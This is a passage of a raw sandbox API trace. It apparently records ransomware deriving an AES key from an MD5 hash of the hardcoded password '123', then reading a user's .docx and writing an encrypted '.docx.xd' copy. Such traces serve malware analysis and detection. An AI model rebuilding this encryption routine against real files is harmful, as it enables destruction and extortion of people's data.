PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.492] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.492] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.492] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.492] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.492] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.493] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa450) returned 1 [0070.493] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.493] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.493] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.493] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.493] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.493] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.493] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.493] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.493] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.494] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.494] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.495] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.495] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.495] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.495] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.495] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.495] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.495] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.495] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.495] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.495] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.495] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.495] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.495] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.496] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.496] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.496] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.496] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.496] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.496] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.496] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.496] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.496] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.496] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.496] CryptCreateHash (in: hProv=0x17aa450, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.496] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.496] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.496] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.496] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.497] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.497] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.497] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.497] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.497] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.497] CryptHashData (hHash=0x164c670, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.497] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.497] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.497] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.497] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.498] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216c0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.498] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.498] CryptDeriveKey (in: hProv=0x17aa450, Algid=0x6610, hBaseData=0x164c670, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c930) returned 1 [0070.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.498] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.498] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.498] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.498] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.499] CryptDestroyHash (hHash=0x164c670) returned 1 [0070.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.499] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\kwtp se51grco0et_.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.499] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.499] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.499] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.500] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\kwtp se51grco0et_.docx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.500] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.500] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.500] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.500] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.502] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.502] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0070.504] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x6667, lpOverlapped=0x0) returned 1 [0070.504] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.508] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.508] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.508] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.509] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.509] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.509] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.509] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.509] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.509] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.509] CryptGetKeyParam (in: hKey=0x164c930, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.509] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.509] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.509] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.510] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.510] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.510] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.510] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.510] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, 